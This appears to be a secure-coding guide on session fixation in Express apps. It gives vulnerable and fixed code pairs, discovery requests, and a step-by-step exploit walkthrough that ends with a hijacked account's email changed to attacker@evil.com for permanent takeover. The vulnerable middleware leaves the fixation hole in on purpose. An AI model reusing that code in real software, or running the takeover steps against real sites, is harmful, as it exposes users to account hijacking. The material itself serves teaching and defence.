Session Fixation

Fixation AttacksSession ID Fixing

Session Fixation at a glance

What it is: An attacker forces or supplies a session identifier that a victim later authenticates with, then the attacker reuses the same identifier to impersonate the victim.
Why it happens: Session fixation occurs when applications reuse or copy session IDs from queries or headers, fail to regenerate IDs after authentication, or allow legacy URL-based sessions.
How to fix: Reject session IDs from untrusted sources, rotate and renew session identifiers on authentication, and use framework helpers to ensure secure session management.

Overview

Session fixation occurs when an attacker can make a victim use a session identifier chosen by the attacker, and the server later associates that identifier with an authenticated user. This often happens when apps accept session ids from insecure transports, fail to rotate or invalidate sessions on authentication, or preserve pre-auth session ids across privilege changes.

sequenceDiagram participant VictimBrowser as Victim Browser participant App as App Server participant AttackerBrowser as Attacker Browser note over VictimBrowser: Victim clicks malicious link with sid=ATTACKER VictimBrowser->>App: GET / (cookie sid=ATTACKER) VictimBrowser->>App: POST /login (logs in) App-->>VictimBrowser: 200 OK (sid=ATTACKER now authenticated) AttackerBrowser->>App: GET /account (cookie sid=ATTACKER) App-->>AttackerBrowser: 200 OK, attacker sees victim account note over App: Session id was not rotated or invalidated on login
A potential flow for a Session Fixation exploit

Where it occurs

It occurs in session management logic that reuses or exposes session IDs through URLs or headers, fails to regenerate IDs on reauthentication, or relies on outdated session mechanisms.

Impact

An attacker who successfully fixes a session can immediately access victim data and perform actions as that user. Since no credential theft is necessary, it bypasses password controls and often avoids suspicion until unusual activity is observed.

Prevention

Prevent this by rejecting external session IDs and using secure cookies only; on sign-in invalidate the old session, issue a new ID copying only non-sensitive data, use framework helpers to rotate IDs, and audit middleware that accepts tokens.

Examples

Switch tabs to view language/framework variants.

App accepts session id from query and reuses it after login

If the application uses a session identifier supplied by URL parameters and does not rotate it at authentication, attackers can fix a session.

Vulnerable
JavaScript • Express — Bad
app.use((req,res,next)=>{
  if (req.query.sid) req.cookies['connect.sid'] = req.query.sid; // BUG: accept external session id
  next();
});
app.post('/login', (req,res)=>{
  // authenticate
  req.session.user = { id: 123 };
  res.send('ok'); // session id not regenerated
});
  • Line 2: Trusting session id from query allows an attacker to control session identifier
  • Line 6: Session id not regenerated on login

If an attacker can set or guess the session id a victim will adopt, and the server does not issue a fresh session id on login, the attacker can reuse that id to access the victim's account.

Secure
JavaScript • Express — Good
app.use(session({ secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: true }));
app.post('/login', (req,res)=>{
  // authenticate
  req.session.regenerate(err=>{ if (err) return res.status(500); req.session.user = { id:123 }; res.send('ok'); });
});
  • Line 9: Regenerate session id on privilege changes to break fixation

Treat session identifiers as secrets; never accept them from untrusted inputs and create a fresh id at authentication (session regeneration).

Engineer Checklist

  • Do not accept session identifiers from query parameters, POST bodies, or arbitrary headers

  • Invalidate old session and create a new session id on successful authentication

  • Use framework sign-in/login helpers that rotate session ids by default

  • Disable URL-based session transport and canonicalize authentication to secure cookies

  • Audit middleware and third-party libraries for any path that reads or sets session ids

End-to-End Example

A legacy site accepts `_session_id` from URLs for compatibility. An attacker sends a link with a chosen id to a victim. The victim logs in and the server binds the new authenticated state to that id. The attacker replays the id and gains access.

Vulnerable
JAVASCRIPT
// Node.js/Express + express-session - Vulnerable session fixation

const session = require('express-session');

app.use(session({
  secret: 'my-secret',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false }  // Also vulnerable: not using secure cookies
}));

// VULNERABLE: Accepts session ID from query parameter
app.use((req, res, next) => {
  // Legacy feature for URL-based sessions
  if (req.query.sessionid) {
    // DANGEROUS: Allows attacker to fix session ID
    req.sessionID = req.query.sessionid;
    req.session.id = req.query.sessionid;
  }
  next();
});

app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  const user = await User.findOne({ username });
  if (!user || !(await bcrypt.compare(password, user.password))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  // VULNERABLE: Does NOT regenerate session on authentication!
  // Session ID remains the same as before login
  // If attacker set the session ID via URL, they can now use it
  req.session.userId = user._id;
  req.session.username = user.username;
  req.session.role = user.role;
  
  res.json({ message: 'Login successful' });
});

app.get('/account', (req, res) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
  }
  
  // Returns sensitive data using potentially attacker-fixed session
  res.json({
    userId: req.session.userId,
    username: req.session.username,
    balance: '$5,000.00',
    apiKey: 'sk_live_xyz123'
  });
});
Secure
JAVASCRIPT
// Node.js/Express + express-session - SECURE against session fixation

const session = require('express-session');

app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,  // Don't create sessions for unauthenticated users
  cookie: {
    secure: true,    // HTTPS only
    httpOnly: true,  // No JavaScript access
    sameSite: 'lax',
    maxAge: 24 * 60 * 60 * 1000  // 24 hours
  }
}));

// SECURE: Do NOT accept session IDs from query parameters or request body
// Session ID should ONLY come from secure, httpOnly cookies

app.post('/login', async (req, res) => {
  const { username, password } = req.body;
  
  const user = await User.findOne({ username });
  if (!user || !(await bcrypt.compare(password, user.password))) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  
  // SECURE: Regenerate session ID on authentication
  // This prevents session fixation attacks
  req.session.regenerate((err) => {
    if (err) {
      return res.status(500).json({ error: 'Session error' });
    }
    
    // Now set authenticated user data in NEW session
    req.session.userId = user._id;
    req.session.username = user.username;
    req.session.role = user.role;
    req.session.authenticatedAt = new Date();
    
    // Save session before responding
    req.session.save((err) => {
      if (err) {
        return res.status(500).json({ error: 'Session error' });
      }
      res.json({ message: 'Login successful' });
    });
  });
});

app.post('/logout', (req, res) => {
  // SECURE: Destroy session on logout
  req.session.destroy((err) => {
    if (err) {
      return res.status(500).json({ error: 'Logout error' });
    }
    res.clearCookie('connect.sid');  // Clear session cookie
    res.json({ message: 'Logged out successfully' });
  });
});

app.get('/account', (req, res) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: 'Not authenticated' });
  }
  
  res.json({
    userId: req.session.userId,
    username: req.session.username,
    balance: '$5,000.00'
    // Don't expose API keys in responses
  });
});

Discovery

This vulnerability is discovered by setting a session ID before authentication (via URL parameter or cookie), then observing whether the application reuses the same session ID after successful login instead of generating a new one.

  1. 1. Test session ID from URL parameter

    http

    Action

    Check if application accepts session IDs from query parameters

    Request

    GET https://app.example.com/?sessionid=ATTACKER_CONTROLLED_ID_12345

    Response

    Status: 200
    Body:
    {
      "headers": {
        "Set-Cookie": "session_id=ATTACKER_CONTROLLED_ID_12345; Path=/; HttpOnly"
      },
      "note": "Application accepts and sets session ID from URL parameter - vulnerable to fixation!"
    }

    Artifacts

    session_id_accepted_from_url cookie_set_from_parameter fixation_vector_confirmed
  2. 2. Verify session persistence through authentication

    http

    Action

    Set custom session ID before login and check if it persists after

    Request

    POST https://app.example.com/api/login
    Headers:
    Cookie: session_id=FIXED_SESSION_ABC123
    Content-Type: application/json
    Body:
    {
      "email": "test@example.com",
      "password": "TestPassword123!"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Login successful",
      "user": {
        "id": "user_456",
        "email": "test@example.com"
      },
      "headers": {
        "Set-Cookie": "session_id=FIXED_SESSION_ABC123; Path=/; HttpOnly"
      },
      "note": "Session ID NOT regenerated after authentication - fixation vulnerability confirmed!"
    }

    Artifacts

    session_not_regenerated pre_auth_session_persisted authentication_fixation
  3. 3. Test attacker session reuse

    http

    Action

    Use the fixed session ID from different browser after victim authenticates

    Request

    GET https://app.example.com/api/account/profile
    Headers:
    Cookie: session_id=FIXED_SESSION_ABC123

    Response

    Status: 200
    Body:
    {
      "user": {
        "id": "user_456",
        "email": "test@example.com",
        "name": "Test User",
        "role": "user",
        "api_key": "sk_test_abc123xyz789"
      },
      "note": "Attacker successfully accesses victim's authenticated session using fixed ID!"
    }

    Artifacts

    session_hijack_successful victim_account_accessed account_takeover

Exploit steps

An attacker exploits this by forcing a victim to use a session ID controlled by the attacker (via phishing link or XSS), then waiting for the victim to authenticate, after which the attacker can use the fixed session ID to access the victim's authenticated session.

  1. 1. Set attacker-controlled session ID

    Craft phishing link with fixed session

    http

    Action

    Create malicious link that sets attacker's session ID on victim

    Request

    GET https://app.example.com/login?sessionid=ATTACKER_SESSION_999

    Response

    Status: 200
    Body:
    {
      "html": "<html><head><title>Login</title></head>...",
      "headers": {
        "Set-Cookie": "session_id=ATTACKER_SESSION_999; Path=/"
      },
      "note": "Victim's browser now has attacker-controlled session ID"
    }

    Artifacts

    session_id_fixed victim_cookie_poisoned phishing_vector
  2. 2. Monitor for victim authentication

    Poll session status

    http

    Action

    Check if victim has authenticated using the fixed session

    Request

    GET https://app.example.com/api/auth/status
    Headers:
    Cookie: session_id=ATTACKER_SESSION_999

    Response

    Status: 200
    Body:
    {
      "authenticated": true,
      "user_id": "user_789",
      "username": "victim@company.com",
      "login_time": "2024-01-15T14:23:45Z",
      "note": "Victim has logged in - session is now authenticated!"
    }

    Artifacts

    authentication_detected session_activated victim_logged_in
  3. 3. Hijack authenticated session

    Access victim account with fixed session

    http

    Action

    Use fixed session ID to fully access victim's account

    Request

    GET https://app.example.com/api/account
    Headers:
    Cookie: session_id=ATTACKER_SESSION_999

    Response

    Status: 200
    Body:
    {
      "account": {
        "id": "user_789",
        "email": "victim@company.com",
        "name": "Victim User",
        "subscription": "enterprise",
        "payment_method": {
          "type": "credit_card",
          "last4": "4242"
        },
        "api_keys": [
          "sk_live_xyz789..."
        ]
      },
      "note": "Full account access via session fixation"
    }

    Artifacts

    account_hijacked full_access_granted session_fixation_success
  4. 4. Establish persistent access

    Change account email for permanent takeover

    http

    Action

    Modify victim's email to attacker-controlled address

    Request

    PUT https://app.example.com/api/account/email
    Headers:
    Cookie: session_id=ATTACKER_SESSION_999
    Content-Type: application/json
    Body:
    {
      "email": "attacker@evil.com"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Email updated successfully",
      "new_email": "attacker@evil.com",
      "verification_sent": true,
      "note": "Attacker can now reset password via attacker@evil.com - permanent takeover complete"
    }

    Artifacts

    email_changed persistent_access_established account_takeover_complete

Specific Impact

The attacker obtains session-level access without stealing credentials. They can view and change personal data, and perform actions available to that user. Detection may be delayed because requests look like a valid session.

Remediation requires rotating session secrets, invalidating known sessions, notifying users, and deploying session regeneration on all auth paths.

Fix

Reject alternative session transports, and regenerate or reset sessions on authentication events. Audit middleware for any route that copies request inputs into session stores and add tests to ensure session regeneration is performed.

Detect This Vulnerability in Your Code

Sourcery automatically identifies session fixation vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free